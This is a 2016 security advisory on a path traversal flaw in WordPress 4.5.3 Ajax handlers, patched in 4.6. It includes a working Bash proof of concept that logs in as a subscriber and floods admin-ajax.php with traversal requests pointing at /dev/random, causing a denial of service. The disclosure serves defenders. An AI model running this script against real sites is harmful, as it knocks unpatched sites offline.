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Path traversal vulnerability in WordPress Core Ajax handlers
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Yorick Koster, July 2016

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Abstract
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A path traversal vulnerability was found in the Core Ajax handlers of
the WordPress Admin API. This issue can (potentially) be used by an
authenticated user (Subscriber) to create a denial of service condition
of an affected WordPress site.

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OVE ID
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OVE-20160712-0036

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See also
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#37490 - Improve capability checks in wp_ajax_update_plugin() and
wp_ajax_delete_plugin()

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Tested versions
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This issue was successfully tested on the WordPress version 4.5.3.

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Fix
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WordPress version 4.6 mitigates this vulnerability by moving the CSRF
check to the top of the affected method(s).

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Details
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https://sumofpwn.nl/advisory/2016/path_traversal_vulnerability_in_wordpress_core_ajax_handlers.html

Proof of concept

The following Bash script can be used to trigger the denial of service condition.

#!/bin/bash
target="http://<target>"
username="subscriber"
password="password"
cookiejar=$(mktemp)
   
# login
curl --cookie-jar "$cookiejar" \
   --data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" \
   "$target/wp-login.php" \
   >/dev/null 2>&1
   
# exhaust apache
for i in `seq 1 1000`
   do
      curl --cookie "$cookiejar" \
      --data "plugin=../../../../../../../../../../dev/random&action=update-plugin" \
      "$target/wp-admin/admin-ajax.php" \
      >/dev/null 2>&1 &
done
   
rm "$cookiejar"

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